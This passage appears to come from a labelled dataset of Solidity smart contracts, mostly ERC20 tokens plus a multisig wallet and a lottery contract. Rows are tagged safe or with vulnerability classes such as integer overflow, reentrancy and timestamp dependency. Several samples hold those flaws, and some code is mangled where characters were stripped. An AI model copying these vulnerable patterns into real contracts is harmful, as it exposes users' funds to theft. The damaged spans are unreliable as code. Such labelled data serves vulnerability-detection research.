avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract BlockbidMintableToken is MintableToken { string public constant name = ""Blockbid Token""; string public constant symbol = ""BID""; uint8 public constant decimals = 8; }",Safe,8,8 0x01617196358c14628d032f9c5f7188f2fbcafd78_MDPToken.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract MDPToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of MDPToken function MDPToken( ) { balances[msg.sender] = 660000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 660000000000000; // Update total supply (100000 for example) name = ""MDP Token""; // Set the name for display purposes decimals = 7; // Amount of decimals for display purposes symbol = ""MDP""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 0x040d11c850fb167cddb1e4d308fe9062fddaebd1_MultiSigWallet.sol,"/** * Originally from https://github.com/ConsenSys/MultiSigWallet */ pragma solidity ^0.4.8; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= _value && balances[_to] + _value > balances[_to]); require(_to != 0x0); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; }",./Dataset/integer overflow (OF)/,4,4 35218.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 2100000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 21000000; // Update total supply (100000 for example) name = ""Fun Bucks""; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = ""FUCK""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 1050.sol,"pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Thanatos is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function Thanatos() public { symbol = ""THAN""; name = ""Thanatos""; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[0x4634B71d85be147421BBF39404f4ABB13303F935] = _totalSupply; Transfer(address(0), 0x4634B71d85be147421BBF39404f4ABB13303F935, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 1495.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a/b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { using SafeMath for uint256; address public owner; address public admin; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowances; string public constant name = ""IOU Loyalty Exchange Token""; string public constant symbol = ""IOUX""; uint256 public constant decimals = 18; uint256 public constant initSupply = 800000000 * 10**decimals; uint256 public constant supplyReserveVal = 600000000 * 10**decimals; uint256 public totalSupply; uint256 public icoSalesSupply = 0; uint256 public icoReserveSupply = 0; uint256 public softCap = 10000000 * 10**decimals; uint256 public hardCap = 500000000 * 10**decimals; uint256 public icoDeadLine = 1545177600; bool public isIcoPaused = false; bool public isStoppingIcoOnHardCap = false; modifier duringIcoOnlyTheOwner() { require( now>icoDeadLine || msg.sender==owner ); _; } modifier icoFinished() { require(now > icoDeadLine); _; } modifier icoNotFinished() { require(now <= icoDeadLine); _; } modifier icoNotPaused() { require(isIcoPaused==false); _; } modifier icoPaused() { require(isIcoPaused==true); _; } modifier onlyOwner() { require(msg.sender==owner); _; } modifier onlyAdmin() { require(msg.sender==admin); _; } event Transfer(address indexed fromAddr, address indexed toAddr, uint256 amount); event Approval(address indexed _owner, address indexed _spender, uint256 amount); event EventOn_AdminUserChanged( address oldAdmin, address newAdmin); event EventOn_OwnershipTransfered(address oldOwner, address newOwner); event EventOn_AdminUserChange( address oldAdmin, address newAdmin); event EventOn_IcoDeadlineChanged( uint256 oldIcoDeadLine, uint256 newIcoDeadline); event EventOn_HardcapChanged( uint256 hardCap, uint256 newHardCap); event EventOn_IcoIsNowPaused( uint8 newPauseStatus); event EventOn_IcoHasRestarted( uint8 newPauseStatus); constructor() public { owner = msg.sender; admin = owner; isIcoPaused = false; balances[owner] = initSupply; totalSupply = initSupply; icoSalesSupply = totalSupply; icoSalesSupply = totalSupply.sub(supplyReserveVal); icoReserveSupply = totalSupply.sub(icoSalesSupply); } function balanceOf(address walletAddress) public constant returns (uint256 balance) { return balances[walletAddress]; } function transfer(address toAddr, uint256 amountInWei) public duringIcoOnlyTheOwner returns (bool) { require(toAddr!=0x0 && toAddr!=msg.sender && amountInWei>0); uint256 availableTokens = balances[msg.sender]; if (msg.sender==owner && now <= icoDeadLine) { assert(amountInWei<=availableTokens); uint256 balanceAfterTransfer = availableTokens.sub(amountInWei); assert(balanceAfterTransfer >= icoReserveSupply); } balances[msg.sender] = balances[msg.sender].sub(amountInWei); balances[toAddr] = balances[toAddr].add(amountInWei); emit Transfer(msg.sender, toAddr, amountInWei); return true; } function allowance(address walletAddress, address spender) public constant returns (uint remaining) { return allowances[walletAddress][spender]; } function transferFrom(address fromAddr, address toAddr, uint256 amountInWei) public returns (bool) { if (amountInWei <= 0) return false; if (allowances[fromAddr][msg.sender] < amountInWei) return false; if (balances[fromAddr] < amountInWei) return false; balances[fromAddr] = balances[fromAddr].sub(amountInWei); balances[toAddr] = balances[toAddr].add(amountInWei); allowances[fromAddr][msg.sender] = allowances[fromAddr][msg.sender].sub(amountInWei); emit Transfer(fromAddr, toAddr, amountInWei); return true; } function approve(address spender, uint256 amountInWei) public returns (bool) { require((amountInWei == 0) || (allowances[msg.sender][spender] == 0)); allowances[msg.sender][spender] = amountInWei; emit Approval(msg.sender, spender, amountInWei); return true; } function() public { assert(true == false); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit EventOn_OwnershipTransfered(owner, newOwner); owner = newOwner; } function changeAdminUser(address newAdminAddress) public onlyOwner { require(newAdminAddress!=0x0); emit EventOn_AdminUserChange(admin, newAdminAddress); admin = newAdminAddress; } function changeIcoDeadLine(uint256 newIcoDeadline) public onlyAdmin { require(newIcoDeadline!=0); emit EventOn_IcoDeadlineChanged(icoDeadLine, newIcoDeadline); icoDeadLine = newIcoDeadline; } function changeHardCap(uint256 newHardCap) public onlyAdmin { require(newHardCap!=0); emit EventOn_HardcapChanged(hardCap, newHardCap); hardCap = newHardCap; } function isHardcapReached() public view returns(bool) { return (isStoppingIcoOnHardCap && initSupply-balances[owner] > hardCap); } function pauseICO() public onlyAdmin { isIcoPaused = true; emit EventOn_IcoIsNowPaused(1); } function unpauseICO() public onlyAdmin { isIcoPaused = false; emit EventOn_IcoHasRestarted(0); } function isPausedICO() public view returns(bool) { return (isIcoPaused) ? true : false; } function destroyRemainingTokens() public onlyAdmin icoFinished icoNotPaused returns(uint) { require(msg.sender==owner && now>icoDeadLine); address toAddr = 0x0000000000000000000000000000000000000000; uint256 amountToBurn = balances[owner]; if (amountToBurn > icoReserveSupply) { amountToBurn = amountToBurn.sub(icoReserveSupply); } balances[owner] = balances[owner].sub(amountToBurn); balances[toAddr] = balances[toAddr].add(amountToBurn); emit Transfer(msg.sender, toAddr, amountToBurn); return 1; } } contract Token is ERC20 { using SafeMath for uint256; constructor() public { } }",./Dataset/integer overflow (OF)/,4,4 3152.sol," contract Lilbank { uint public players = 0; uint amount; uint time; uint payment; address winner; address public owner; address public meg = address(this); modifier _onlyowner { if (msg.sender == owner || msg.sender == 0xC99B66E5Cb46A05Ea997B0847a1ec50Df7fe8976) _ } function Lilbank() { owner = msg.sender; } function() { Start(); } function Start(){ address developer=0xC99B66E5Cb46A05Ea997B0847a1ec50Df7fe8976; if (msg.sender == owner) { UpdatePay(); }else { if (msg.value == (1 ether)/100) { uint fee; fee=msg.value/10; developer.send(fee/2); owner.send(fee/2); fee=0; amount++; if (amount>10) { uint deltatime = block.timestamp; if (deltatime >= time + 1 hours) { payment=meg.balance/100*70; amount=0; winner.send(payment); payment=0; } } time=block.timestamp; winner = msg.sender; } else { uint _fee; _fee=msg.value/10; developer.send(_fee/2); owner.send(_fee/2); fee=0; msg.sender.send(msg.value - msg.value/10); } } } function UpdatePay() _onlyowner { if (meg.balance>((1 ether)/100)) { msg.sender.send(((1 ether)/100)); } else { msg.sender.send(meg.balance); } } }",./Dataset/timestamp dependency (TP)/,6,6 37498.sol,"pragma solidity ^0.4.15; contract generic_holder { address owner; modifier onlyowner { require(msg.sender == owner); _; } // constructor function generic_holder() { owner = msg.sender; } function change_owner(address new_owner) external onlyowner { owner = new_owner; } function execute(address _to, uint _value, bytes _data) external onlyowner payable returns (bool){ return _to.call.value(_value)(_data); } function send(address _to) external onlyowner payable returns (bool){ return _to.call.gas(300000).value(msg.value)(); } function get_owner() constant returns (address) { return owner; } }",./Dataset/reentrancy (RE)/,5,5 1100.sol,"pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function ADZbuzzCommunityToken() public { symbol = ""ACT889702""; name = ""ADZbuzz Knowyourmeme.com Community Token""; decimals = 8; _totalSupply = 200000000000000; balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply; emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 6251.sol,"pragma solidity ^0.4.0; library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0 || b == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function muldiv(uint256 a, uint256 b, uint256 c) internal pure returns (uint256 d) { if (a == 0 || b == 0) { return 0; } d = a * b; assert(d / a == b); return d / c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract EtherCityConfig { struct BuildingData { uint256 population; uint256 creditsPerSec; uint256 maxUpgrade; uint256 constructCredit; uint256 constructEther; uint256 upgradeCredit; uint256 demolishCredit; uint256 constructSale; uint256 upgradeSale; uint256 demolishSale; } uint256 private initCredits; uint256 private initLandCount; uint256 private initcreditsPerSec; uint256 private maxLandCount; uint256 private ethLandCost; uint256 private creditsPerEth; address private owner; address private admin; mapping(uint256 => BuildingData) private buildingData; constructor() public payable { owner = msg.sender; creditsPerEth = 1; } function SetAdmin(address addr) external { assert(msg.sender == owner); admin = addr; } function GetVersion() external pure returns(uint256) { return 1000; } function GetInitData() external view returns(uint256 ethland, uint256 maxland, uint256 credits, uint256 crdtsec, uint256 landCount) { ethland = ethLandCost; maxland = maxLandCount; credits = initCredits; crdtsec = initcreditsPerSec; landCount = initLandCount; } function SetInitData(uint256 ethland, uint256 maxland, uint256 credits, uint256 crdtsec, uint256 landCount) external { require(msg.sender == owner || msg.sender == admin); ethLandCost = ethland; maxLandCount = maxland; initCredits = credits; initcreditsPerSec = crdtsec; initLandCount = landCount; } function GetCreditsPerEth() external view returns(uint256) { return creditsPerEth; } function SetCreditsPerEth(uint256 crdteth) external { require(crdteth > 0); require(msg.sender == owner || msg.sender == admin); creditsPerEth = crdteth; } function GetLandData() external view returns(uint256 ethland, uint256 maxland) { ethland = ethLandCost; maxland = maxLandCount; } function GetBuildingData(uint256 id) external view returns(uint256 bid, uint256 population, uint256 crdtsec, uint256 maxupd, uint256 cnstcrdt, uint256 cnsteth, uint256 updcrdt, uint256 dmlcrdt, uint256 cnstcrdtsale, uint256 cnstethsale, uint256 updcrdtsale, uint256 dmlcrdtsale) { BuildingData storage bdata = buildingData[id]; bid = id; population = bdata.population; crdtsec = bdata.creditsPerSec; maxupd = bdata.maxUpgrade; cnstcrdt = bdata.constructCredit; cnsteth = bdata.constructEther; updcrdt = bdata.upgradeCredit; dmlcrdt = bdata.demolishCredit; cnstcrdtsale = bdata.constructCredit * bdata.constructSale / 100; cnstethsale = bdata.constructEther * bdata.constructSale /100; updcrdtsale = bdata.upgradeCredit * bdata.upgradeSale / 100; dmlcrdtsale = bdata.demolishCredit * bdata.demolishSale / 100; } function SetBuildingData(uint256 bid, uint256 pop, uint256 crdtsec, uint256 maxupd, uint256 cnstcrdt, uint256 cnsteth, uint256 updcrdt, uint256 dmlcrdt) external { require(msg.sender == owner || msg.sender == admin); buildingData[bid] = BuildingData({population:pop, creditsPerSec:crdtsec, maxUpgrade:maxupd, constructCredit:cnstcrdt, constructEther:cnsteth, upgradeCredit:updcrdt, demolishCredit:dmlcrdt, constructSale:100, upgradeSale:100, demolishSale:100 }); } function SetBuildingSale(uint256 bid, uint256 cnstsale, uint256 updsale, uint256 dmlsale) external { BuildingData storage bdata = buildingData[bid]; require(0 < cnstsale && cnstsale <= 100); require(0 < updsale && updsale <= 100); require(msg.sender == owner || msg.sender == admin); bdata.constructSale = cnstsale; bdata.upgradeSale = updsale; bdata.demolishSale = dmlsale; } function SetBuildingDataArray(uint256[] data) external { require(data.length % 8 == 0); require(msg.sender == owner || msg.sender == admin); for(uint256 index = 0; index < data.length; index += 8) { BuildingData storage bdata = buildingData[data[index]]; bdata.population = data[index + 